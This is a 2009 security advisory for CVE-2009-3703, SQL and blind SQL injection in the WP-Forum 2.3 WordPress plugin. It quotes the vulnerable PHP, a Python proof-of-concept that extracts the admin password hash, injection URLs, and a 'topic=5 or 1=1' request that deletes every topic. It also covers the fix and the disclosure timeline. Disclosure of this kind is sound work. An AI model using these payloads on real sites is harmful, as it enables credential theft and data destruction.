Skip to content
cyberexploits
webappphptext

WordPress Plugin WP-Forum 2.3 - SQL Injection / Blind SQL Injection

WordPress Plugin WP-Forum 2.3 - SQL Injection / Blind SQL Injection

Published on 2009-12-16

Source code

Pinned to commit 7eac4c3a2ce5
textplatforms/php/webapps/10488.txt7eac4c3a
raw
=============================================

INTERNET SECURITY AUDITORS ALERT 2009-010

- Original release date: September 28th, 2009

- Last revised: December 15th, 2009

- Discovered by: Juan Galiana Lara

- CVE ID: CVE-2009-3703

- Severity: 8.5/10 (CVSS Base Score)

=============================================



I. VULNERABILITY

-------------------------

WP-Forum <= 2.3 SQL Injection & Blind SQL Injection vulnerabilities



II. BACKGROUND

-------------------------

WP-Forum is a discussion forum plugin for WordPress. It works with

WordPress 2+ version and PHP >= 5.0



III. DESCRIPTION

-------------------------

WP-Forum fails to sanitized user supplied input and is vulnerable to

SQL Injection and Blind SQL Injection. An attacker can obtain any data

of the database including user logins and password's of the WordPress

installation, allowing him to obtain access to the application and

gain administration privileges.



For the SQL Injection vulnerability, is possible to concatenate other

sql requests via "union select" sentence. The parameters "search_max"

and "forum" are affected by this flaw.



Snippet of vulnerable code:



In wpf.class file:



1836     $option_max_days = $_POST['search_max'];       // <- this

line is not being sanitized

1837     $option_forums = $_POST['forum'];

1838     if(!$option_max_days)

1839              $option_max_days = 9999;

1840     $op .= " AND $this->t_posts.`date` > SUBDATE(CURDATE(),

INTERVAL $option_max_days DAY) ";

1841

...

1850     foreach((array)$option_forums as $f)

1851             $a .= $f.",";    // <- <- this lines is not being

sanitized

1852

1853     $a = substr($a, 0, strlen($a)-1 );

1854     if(!$a)

1855             $w = "";

1856     else

1857             $w = "IN($a)";

1858

1859     $sql = "SELECT $this->t_threads.parent_id as pt,

$this->t_posts.id, text, $this->t_posts.subject,

$this->t_posts.parent_id, $this->t_posts.`date`, MATCH ($what) AGAINST

('$search_string') AS score

1860     FROM $this->t_posts inner join $this->t_threads on

$this->t_posts.parent_id = $this->t_threads.id

1861     WHERE $this->t_threads.parent_id  $w

1862     AND MATCH (text) AGAINST ('$search_string') $op";



In the case of the Blind SQL Injection, the vulnerable code is...



In wpf-post.php file:



 57     $id = $_GET['id']; // <- $_GET['id'] is directly assigned

 58     $thread = $this->check_parms($_GET['t']);

 59

 60             $out .= $this->header();

 61

 62     $post = $wpdb->get_row("SELECT * FROM $wpforum->t_posts WHERE

id = $id"); // <- id is used without clean up



other example:



1490     function remove_post(){

1491             global $user_level, $user_ID, $wpdb;

1492             $id = $_GET['id']; // <- $_GET['id'] is directly assigned

1493             $author = $wpdb->get_var("SELECT author_id from

$this->t_posts where id = $id"); // id is used without clean up

...

1503             if($del == "ok"){

1504                 $wpdb->query("DELETE FROM $this->t_posts WHERE id

= $id"); <- // id is used without clean up

1505                 $this->o .= "<div class='updated'>".__("Post

deleted", "wpforum")."</div>";

1506             }

1507             else

1508                 wp_die(__("Cheating, are we?", "wpforum"));

1509

1510     }



the "id" parameter is vulnerable in other parts of the source code..



Also, is possible to delete all records in table $this->t_posts and

$this->t_threads because $_GET['topic'] is not properly sanitized,

injecting something like 1 or 1=1



1479     function remove_topic(){

1480             global $user_level, $user_ID, $wpdb;

1481             $topic = $_GET['topic'];

1482             if($this->is_moderator($user_ID, $this->current_forum)){

1483                 $wpdb->query("DELETE FROM $this->t_posts WHERE

parent_id = $topic");

1484                 $wpdb->query("DELETE FROM $this->t_threads WHERE

id = $topic");

1485             }

1486             else

1487                 wp_die(__("Cheating, are we?", "wpforum"));

1488

1489     }



IV. PROOF OF CONCEPT

-------------------------

In the url: http://example.com/blog/?page_id=3&wpforumaction=search

replacing 'page_id=3' parameter with the number of the WP-Forum page

in each case



Is possible to obtain any data of the database. Here is a proof of

concept to obtain user_pass, user_login and user_email of the user

with id=1 of wp_users table (normally admin).



We have to fill the search_max parameter with the value:



9999 DAY) union select 1,1,1,user_pass,1,1,1 from wp_users where id=1

and subdate(curdate(), interval 9999

9999 DAY) union select 1,1,1,user_login,1,1,1 from wp_users where id=1

and subdate(curdate(), interval 9999

9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1

and subdate(curdate(), interval 9999



I wrote a PoC, to get automatically the password hash of the WordPress

admin account:



user () linuz:~$ cat wpforum2.3-poc.py

#!/usr/bin/python



# WP-Forum <= 2.3 SQL Injection PoC

# Juan Galiana Lara

# Internet Security Auditors



import urllib

import urllib2

import re



url = 'http://site//wordpress/?page_id=3&wpforumaction=search'

values = {'search_words' : 'any',

          'search_submit' : 'Search',

          'search_max' : '999 DAY) union select 1,1,1,user_pass,1,1,1

from wp_users where id=1 or SUBDATE(CURDATE(), INTERVAL 9999' }



data = urllib.urlencode(values)

req = urllib2.Request(url, data)

response = urllib2.urlopen(req)

output = response.read()

o = re.search('viewtopic.+>([$].+)<',output)

if o:

        print o.group(1)



user () linuz:~$ python wpforum2.3-poc.py

$P$Bn8oMY.T3kHELf/lnn07L3HXgID4go/

user () linuz:~$



That's it!



For the blind sql injection, here are some examples:



http://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=0&t=.0

http://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=1&t=.0



http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_topic&topic=3%20and%201=0

http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_topic&topic=3%20and%201=1



http://example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&id=1%20and%201=0

http://example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&id=1%20and%201=1



Is possible to delete all topics, injecting sql code in "topic" parameter:



http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=1.0&delete_topic&topic=5%20or%201=1



V. BUSINESS IMPACT

-------------------------

Unauthenticated users can obtain or delete any data of the database.

This flaw could result in get access to WordPress accounts including

the administrator one.



VI. SYSTEMS AFFECTED

-------------------------

WP-Forum <= 2.3 are vulnerable.



VII. SOLUTION

-------------------------

Update to version 2.4.



VIII. REFERENCES

-------------------------

http://www.fahlstad.se/wp-plugins/wp-forum/

http://www.wordpress.org/

http://www.isecauditors.com/



IX. CREDITS

-------------------------

This vulnerability has been discovered by

Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).



X. REVISION HISTORY

-------------------------

September  28, 2009: Initial release.

October    13, 2009: Review.

October    19, 2009: Added CVE id.

December   15, 2009: Last revision.



XI. DISCLOSURE TIMELINE

-------------------------

September  28, 2009: Vulnerability discovered

                     by Internet Security Auditors.

October    13, 2009: Sent to developers. No response.

December   13, 2009: Contact again. Response about its correction.

December   14, 2009: New version published.

December   15, 2009: Advisory released to lists.



XII. LEGAL NOTICES

-------------------------

The information contained within this advisory is supplied "as-is"

with no warranties or guarantees of fitness of use or otherwise.

Internet Security Auditors accepts no responsibility for any damage

caused by the use or misuse of this information.

View on GitHub